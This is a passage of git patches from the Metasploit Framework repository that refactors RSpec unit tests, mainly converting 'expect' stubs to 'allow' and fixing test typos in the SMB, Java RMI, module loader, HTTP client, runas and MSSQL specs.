eq(error_res_length) + expect(mod.smb_cmd_trans_query_path_info_basic(msf_io, non_existent_path)).to eq(error_res_length) end it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do - mod.smb_cmd_trans_query_path_info_basic(client, non_existent_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_basic(msf_io, non_existent_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -242,13 +228,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent file path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_basic(client, file_path)).to eq(existent_path_info_basic_res_length) + expect(mod.smb_cmd_trans_query_path_info_basic(msf_io, file_path)).to eq(existent_path_info_basic_res_length) end it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do - mod.smb_cmd_trans_query_path_info_basic(client, file_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_basic(msf_io, file_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -265,13 +250,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent folder path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_basic(client, folder_path)).to eq(existent_path_info_basic_res_length) + expect(mod.smb_cmd_trans_query_path_info_basic(msf_io, folder_path)).to eq(existent_path_info_basic_res_length) end it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do - mod.smb_cmd_trans_query_path_info_basic(client, folder_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_basic(msf_io, folder_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -290,13 +274,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_trans_query_path_info_standard" do context "when non existent path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_standard(client, non_existent_path)).to eq(error_res_length) + expect(mod.smb_cmd_trans_query_path_info_standard(msf_io, non_existent_path)).to eq(error_res_length) end it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do - mod.smb_cmd_trans_query_path_info_standard(client, non_existent_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_standard(msf_io, non_existent_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -307,13 +290,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent file path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_standard(client, file_path)).to eq(existent_path_info_standard_res_length) + expect(mod.smb_cmd_trans_query_path_info_standard(msf_io, file_path)).to eq(existent_path_info_standard_res_length) end it "sends a TRANSACTION2 response with the Directory field unset" do - mod.smb_cmd_trans_query_path_info_standard(client, file_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_standard(msf_io, file_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -330,13 +312,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent folder path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_standard(client, folder_path)).to eq(existent_path_info_standard_res_length) + expect(mod.smb_cmd_trans_query_path_info_standard(msf_io, folder_path)).to eq(existent_path_info_standard_res_length) end it "sends a TRANSACTION2 response with the Directory field set" do - mod.smb_cmd_trans_query_path_info_standard(client, folder_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_standard(msf_io, folder_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -356,13 +337,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_trans_query_path_info_network" do context "when non existent path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_network(client, non_existent_path)).to eq(error_res_length) + expect(mod.smb_cmd_trans_query_path_info_network(msf_io, non_existent_path)).to eq(error_res_length) end it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do - mod.smb_cmd_trans_query_path_info_network(client, non_existent_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_network(msf_io, non_existent_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -373,13 +353,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent file path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_network(client, file_path)).to eq(existent_path_info_network_res_length) + expect(mod.smb_cmd_trans_query_path_info_network(msf_io, file_path)).to eq(existent_path_info_network_res_length) end it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do - mod.smb_cmd_trans_query_path_info_network(client, file_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_network(msf_io, file_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) @@ -396,13 +375,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do context "when existent folder path" do it "returns the number of bytes sent" do - expect(mod.smb_cmd_trans_query_path_info_network(client, folder_path)).to eq(existent_path_info_network_res_length) + expect(mod.smb_cmd_trans_query_path_info_network(msf_io, folder_path)).to eq(existent_path_info_network_res_length) end it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do - mod.smb_cmd_trans_query_path_info_network(client, folder_path) - client.seek(0) - res = client.read + mod.smb_cmd_trans_query_path_info_network(msf_io, folder_path) + res = msf_io.read trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct trans2_res.from_s(res) From aca4c6a986a510dc7b061070daea68287bfa7a4b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 12:09:11 -0600 Subject: [PATCH 074/103] Change include_context on jmx specs --- .../exploit/remote/java/rmi/client/jmx/connection_spec.rb | 5 ++--- .../core/exploit/remote/java/rmi/client/jmx/server_spec.rb | 4 +++- .../msf/core/exploit/remote/java/rmi/client/registry_spec.rb | 5 +++-- spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb | 5 +++-- 4 files changed, 11 insertions(+), 8 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb index 3c9d65eede..415b7f1620 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb @@ -7,6 +7,8 @@ require 'msf/core/exploit/java/rmi/client' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do + include_context "Msf::StringIO" + let(:name_create) { 'javax.management.loading.MLet' } let(:remote_address) do @@ -22,7 +24,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do describe "#send_jmx_get_object_instance" do context "when the object exists" do - include_context "Msf::StringIO" # # lets @@ -58,7 +59,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do describe "#send_jmx_create_mbean" do context "when the object is created successfully" do - include_context "Msf::StringIO" # # lets @@ -92,7 +92,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do describe "#send_jmx_invoke" do context "when the remote method is called successfully" do - include_context "Msf::StringIO" # # lets diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index 8d366ba361..ee4eeeb008 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -6,6 +6,9 @@ require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do + + include_context "Msf::StringIO" + subject(:instance) { klass.new } @@ -18,7 +21,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do describe "#send_new_client" do context "when there is an RMIServerImpl_Stub interface" do - include_context "Msf::StringIO" # # lets diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb index bf2391c181..dbfb17e064 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb @@ -6,6 +6,9 @@ require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do + + include_context "Msf::StringIO" + let(:name) do 'jmxrmi' end @@ -21,8 +24,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do mod end - include_context "Msf::StringIO" - describe "#send_registry_list" do context "when there aren't names registered" do let(:list_empty_response) { diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb index bdafc59d51..ddbc89f2d3 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb @@ -6,6 +6,9 @@ require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do + + include_context "Msf::StringIO" + subject(:instance) { klass.new } @@ -18,8 +21,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do end } - include_context "Msf::StringIO" - describe "#send_header" do it "returns the number of bytes sent" do expect(instance.send_header(sock: msf_io)).to eq(13) From 605756a500e7bc02066122c7c6f56c241bf9a542 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Tue, 8 Dec 2015 10:34:29 -0600 Subject: [PATCH 075/103] and receive needed to be and_return --- spec/lib/msf/core/modules/loader/base_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 0400c28422..e98b4fa7df 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -337,7 +337,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should set the parent_path on the namespace_module to match the parent_path passed to #load_module' do allow(module_manager).to receive(:on_module_load) - allow(subject).to receive(:read_module_content).and_receive(module_content) + allow(subject).to receive(:read_module_content).and_return(module_content) expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy From bf9da1440ec2402efbbc650dfc7d8e25d6e7bf37 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Tue, 8 Dec 2015 11:27:00 -0600 Subject: [PATCH 076/103] change module_manager to allow from expect --- spec/lib/msf/core/modules/loader/base_spec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index e98b4fa7df..f7e552540c 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -481,14 +481,14 @@ RSpec.describe Msf::Modules::Loader::Base do expect(@namespace_module).to receive(:module_eval_with_lexical_scope).with(module_content, module_path) metasploit_class = double('Metasploit Class', :parent => @namespace_module) - expect(@namespace_module).to receive(:metasploit_class!).and_return(metasploit_class) + allow(@namespace_module).to receive(:metasploit_class!).and_return(metasploit_class) expect(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) expect(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) @module_load_error_by_path = {} - expect(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) + allow(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) end it 'should check for version compatibility' do From 93d4be23016dc798817e9ecf34f00a1786b9af57 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Tue, 8 Dec 2015 14:29:16 -0600 Subject: [PATCH 077/103] replace stubbing expects with allow statements --- spec/lib/msf/core/modules/loader/base_spec.rb | 4 ++-- spec/lib/msf/core/modules/loader/directory_spec.rb | 4 ++-- spec/lib/rex/proto/http/client_spec.rb | 12 ++++++------ .../shared/examples/msf/module_manager/cache.rb | 4 ++-- 4 files changed, 12 insertions(+), 12 deletions(-) diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index f7e552540c..9a7fb9bff3 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -419,7 +419,7 @@ RSpec.describe Msf::Modules::Loader::Base do allow(@namespace_module).to receive(:module_eval_with_lexical_scope).and_raise(error) @module_load_error_by_path = {} - expect(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) + allow(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) expect(error).to receive(:backtrace).and_return(backtrace) end @@ -541,7 +541,7 @@ RSpec.describe Msf::Modules::Loader::Base do before(:each) do expect(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) - expect(module_manager).to receive(:on_module_load) + allow(module_manager).to receive(:on_module_load) end context 'without metasploit_class' do diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index 70818f0104..c37b8736f5 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -107,8 +107,8 @@ RSpec.describe Msf::Modules::Loader::Directory do end before(:each) do - expect(module_manager).to receive(:file_changed?).and_return(true) - expect(module_manager).to receive(:module_load_error_by_path).and_return({}) + allow(module_manager).to receive(:file_changed?).and_return(true) + allow(module_manager).to receive(:module_load_error_by_path).and_return({}) end it 'should not raise an error' do diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 7e820ea176..35e10cd894 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -112,16 +112,16 @@ RSpec.describe Rex::Proto::Http::Client do let(:pass) { "pass" } it "should not send creds on the first request in order to induce a 401" do - req = cli.request_cgi + req = subject.request_cgi expect(req.to_s).not_to match("Authorization:") end it "should send creds after receiving a 401" do conn = double - expect(conn).to receive(:put) - expect(conn).to receive(:shutdown) - expect(conn).to receive(:close) - expect(conn).to receive(:closed?).and_return(false) + allow(conn).to receive(:put) + allow(conn).to receive(:shutdown) + allow(conn).to receive(:close) + allow(conn).to receive(:closed?).and_return(false) expect(conn).to receive(:get_once).and_return(first_response, authed_response) expect(conn).to receive(:put) do |str_request| @@ -135,7 +135,7 @@ RSpec.describe Rex::Proto::Http::Client do expect(cli).to receive(:_send_recv).twice.and_call_original - expect(Rex::Socket::Tcp).to receive(:create).and_return(conn) + allow(Rex::Socket::Tcp).to receive(:create).and_return(conn) opts = { "username" => user, "password" => pass} req = cli.request_cgi(opts) diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 3bb54848b6..6149753ac9 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -222,7 +222,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context '#refresh_cache_from_module_files' do before(:each) do - expect(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?) + allow(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?) end context 'with framework migrated' do @@ -360,7 +360,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end before(:each) do - expect(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?) + allow(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?) end context 'with framework migrated' do From 2fc0c0b326be412b0c9a98d05baecec651dadd8d Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Tue, 8 Dec 2015 14:42:42 -0600 Subject: [PATCH 078/103] switch expect stubs in ui_driver shared context to allows --- spec/support/shared/contexts/msf/ui_driver.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/spec/support/shared/contexts/msf/ui_driver.rb b/spec/support/shared/contexts/msf/ui_driver.rb index 5f40aef334..e05588d053 100644 --- a/spec/support/shared/contexts/msf/ui_driver.rb +++ b/spec/support/shared/contexts/msf/ui_driver.rb @@ -4,16 +4,16 @@ RSpec.shared_context 'Msf::UIDriver' do 'Driver', :framework => framework ).tap { |driver| - expect(driver).to receive(:on_command_proc=).with(kind_of(Proc)) - expect(driver).to receive(:print_line).with(kind_of(String)) do |string| + allow(driver).to receive(:on_command_proc=).with(kind_of(Proc)) + allow(driver).to receive(:print_line).with(kind_of(String)) do |string| @output ||= [] @output.concat string.split("\n") end - expect(driver).to receive(:print_status).with(kind_of(String)) do |string| + allow(driver).to receive(:print_status).with(kind_of(String)) do |string| @output ||= [] @output.concat string.split("\n") end - expect(driver).to receive(:print_error).with(kind_of(String)) do |string| + allow(driver).to receive(:print_error).with(kind_of(String)) do |string| @error ||= [] @error.concat string.split("\n") end From 69bb683d0a9776374653879605832324b4a6d672 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Tue, 8 Dec 2015 15:14:16 -0600 Subject: [PATCH 079/103] fix typo in runas spec and change some more expects to allow --- spec/lib/msf/core/post/windows/runas_spec.rb | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index 4c544ab5bd..9402d01aec 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -14,15 +14,15 @@ RSpec.describe Msf::Post::Windows::Runas do let(:advapi32) do advapi32 = double('advapi32') - expect(advapi32).to receive(:CreateProcessWithLogonW).and_return({ + allow(advapi32).to receive(:CreateProcessWithLogonW).and_return({ 'return' => true, 'lpProcessInformation' => process_info }) - expect(advapi32).to receive(:CreateProcessAsUserA).and_return ({ + allow(advapi32).to receive(:CreateProcessAsUserA).and_return ({ 'return' => true, 'lpProcessInformation' => process_info }) - expect(advapi32).to receive(:LogonUserA).and_return ({ + allow(advapi32).to receive(:LogonUserA).and_return ({ 'return' => true, 'phToken' => phToken }) @@ -34,10 +34,10 @@ RSpec.describe Msf::Post::Windows::Runas do end let(:subject) do - mod = Module.new + mod = double(Module.new) mod.extend described_class stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ] - stubs.each { |meth| expect(mod).to receive(meth) } + stubs.each { |meth| allow(mod).to receive(meth) } allow(mod).to receive_message_chain("session.railgun.kernel32").and_return(kernel32) allow(mod).to receive_message_chain("session.railgun.advapi32").and_return(advapi32) mod @@ -53,9 +53,7 @@ RSpec.describe Msf::Post::Windows::Runas do end it "should return a nil on failure" do - expect(advapi32).to receive(:CreateProcessWithLogonW) - expect(kernel32).not_to receive(:CloseHandle) - advapi32.to receive(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + expect(advapi32).to receive(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') expect(subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe')).to be nil end end From 71ce9b377a2a013db7080985a2c963cbeb29016c Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Tue, 8 Dec 2015 15:22:11 -0600 Subject: [PATCH 080/103] change module manager stub from expect to allow --- spec/support/shared/examples/msf/module_manager/loading.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index c92e0dc642..7a75a7abe6 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -125,7 +125,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do end before(:each) do - expect(klass).to receive(:parent).and_return(namespace_module) + allow(klass).to receive(:parent).and_return(namespace_module) end it "should add module to type's module_set" do From 5c733a3b6d7b38797981d70b096b7e234dd30ac6 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 09:02:24 -0600 Subject: [PATCH 081/103] fix stub on module loader test --- spec/lib/msf/core/modules/loader/base_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 9a7fb9bff3..d32fa8268b 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -421,7 +421,7 @@ RSpec.describe Msf::Modules::Loader::Base do @module_load_error_by_path = {} allow(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) - expect(error).to receive(:backtrace).and_return(backtrace) + allow(error).to receive(:backtrace).and_return(backtrace) end context 'with version compatibility' do From b84bd0327dc07d1967b579f34969f20e36e8e9db Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 10:02:35 -0600 Subject: [PATCH 082/103] fix MSSQL test stubs --- spec/lib/msf/core/post/windows/mssql_spec.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/spec/lib/msf/core/post/windows/mssql_spec.rb b/spec/lib/msf/core/post/windows/mssql_spec.rb index aa4d68414d..88f3e0d177 100644 --- a/spec/lib/msf/core/post/windows/mssql_spec.rb +++ b/spec/lib/msf/core/post/windows/mssql_spec.rb @@ -5,11 +5,11 @@ require 'msf/core/post/windows/mssql' RSpec.describe Msf::Post::Windows::MSSQL do let(:subject) do - mod = Module.new + mod = double(Module.new) mod.extend described_class stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error, :print_warning ] - stubs.each { |meth| expect(mod).to receive(meth) } - expect(mod).to receive(:service_info).and_return({}) + stubs.each { |meth| allow(mod).to receive(meth) } + allow(mod).to receive(:service_info).and_return({}) mod end @@ -288,8 +288,8 @@ RSpec.describe Msf::Post::Windows::MSSQL do it 'should return false if service is invalid or pid is invalid' do expect(subject.impersonate_sql_user(nil)).to be_falsey - subject.impersonate_sql_user(pid: expect(nil)).to be_falsey - subject.impersonate_sql_user(pid: expect(0)).to be_falsey + expect(subject.impersonate_sql_user(pid: nil)).to be_falsey + expect(subject.impersonate_sql_user(pid: 0)).to be_falsey end context 'user has privs to impersonate' do @@ -361,7 +361,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do it 'should return a string' do p = double('process') c = double('channel') - expect(p).to receive(:channel).and_return(c) + allow(p).to receive(:channel).and_return(c) allow(subject).to receive_message_chain('session.sys.process.execute').and_return(p) expect(c).to receive(:read).and_return('hello') expect(c).to receive(:read).and_return(nil) From 1521fd0a95061ff485d4cfb00d85f456047d3f6b Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 12:02:30 -0600 Subject: [PATCH 083/103] remove unnecessary message chain call --- spec/lib/msf/core/post/windows/mssql_spec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/spec/lib/msf/core/post/windows/mssql_spec.rb b/spec/lib/msf/core/post/windows/mssql_spec.rb index 88f3e0d177..21819fa377 100644 --- a/spec/lib/msf/core/post/windows/mssql_spec.rb +++ b/spec/lib/msf/core/post/windows/mssql_spec.rb @@ -296,7 +296,6 @@ RSpec.describe Msf::Post::Windows::MSSQL do before(:each) do allow(subject).to receive_message_chain('session.sys.config.getuid').and_return('Superman') allow(subject).to receive_message_chain('client.sys.config.getprivs').and_return(['SeAssignPrimaryTokenPrivilege']) - allow(subject).to receive_message_chain('session.incognito').and_return(true) allow(subject).to receive_message_chain('session.sys.process.each_process').and_yield(process) end From 5b568f2e4bc2df62ba8a84c929d3bc7460acd2c5 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 12:13:10 -0600 Subject: [PATCH 084/103] added missing expectation wrapper --- spec/lib/msf/core/post/windows/runas_spec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index 9402d01aec..92f022c572 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -76,7 +76,7 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).to receive(:CloseHandle).with(phToken) expect(kernel32).not_to receive(:CloseHandle).with(1) expect(kernel32).not_to receive(:CloseHandle).with(2) - advapi32.to receive(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + expect(advapi32).to receive(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') expect(subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')).to be nil end @@ -86,7 +86,7 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).not_to receive(:CloseHandle).with(phToken) expect(kernel32).not_to receive(:CloseHandle).with(1) expect(kernel32).not_to receive(:CloseHandle).with(2) - advapi32.to receive(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + expect(advapi32).to receive(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') expect(subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')).to be nil end end From c5d77c34768b7c1214a062a509b2b66f81290d17 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 12:23:49 -0600 Subject: [PATCH 085/103] change stubs from expect to allow on directory_spec --- spec/lib/msf/core/modules/loader/directory_spec.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index c37b8736f5..1ba1b722f8 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -33,9 +33,9 @@ RSpec.describe Msf::Modules::Loader::Directory do framework = double('Msf::Framework', :datastore => {}) events = double('Events') - expect(events).to receive(:on_module_load) - expect(events).to receive(:on_module_created) - expect(framework).to receive(:events).and_return(events) + allow(events).to receive(:on_module_load) + allow(events).to receive(:on_module_created) + allow(framework).to receive(:events).and_return(events) framework end From cd0d774db69fc5ee56fae3581a5a4b5a375c9a1a Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 9 Dec 2015 12:41:03 -0600 Subject: [PATCH 086/103] replace deprecated unsub, and replace expecations with allows in base_spec --- spec/lib/msf/core/modules/loader/base_spec.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index d32fa8268b..1dace00ffb 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -477,15 +477,15 @@ RSpec.describe Msf::Modules::Loader::Base do context 'without module_eval errors' do before(:each) do @namespace_module = double('Namespace Module') - expect(@namespace_module).to receive(:parent_path=) - expect(@namespace_module).to receive(:module_eval_with_lexical_scope).with(module_content, module_path) + allow(@namespace_module).to receive(:parent_path=) + allow(@namespace_module).to receive(:module_eval_with_lexical_scope).with(module_content, module_path) metasploit_class = double('Metasploit Class', :parent => @namespace_module) allow(@namespace_module).to receive(:metasploit_class!).and_return(metasploit_class) - expect(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) + allow(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) - expect(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) + allow(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) @module_load_error_by_path = {} allow(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) @@ -539,7 +539,7 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with version compatibility' do before(:each) do - expect(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) + allow(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) allow(module_manager).to receive(:on_module_load) end @@ -583,7 +583,7 @@ RSpec.describe Msf::Modules::Loader::Base do end before(:each) do - expect(@namespace_module).to 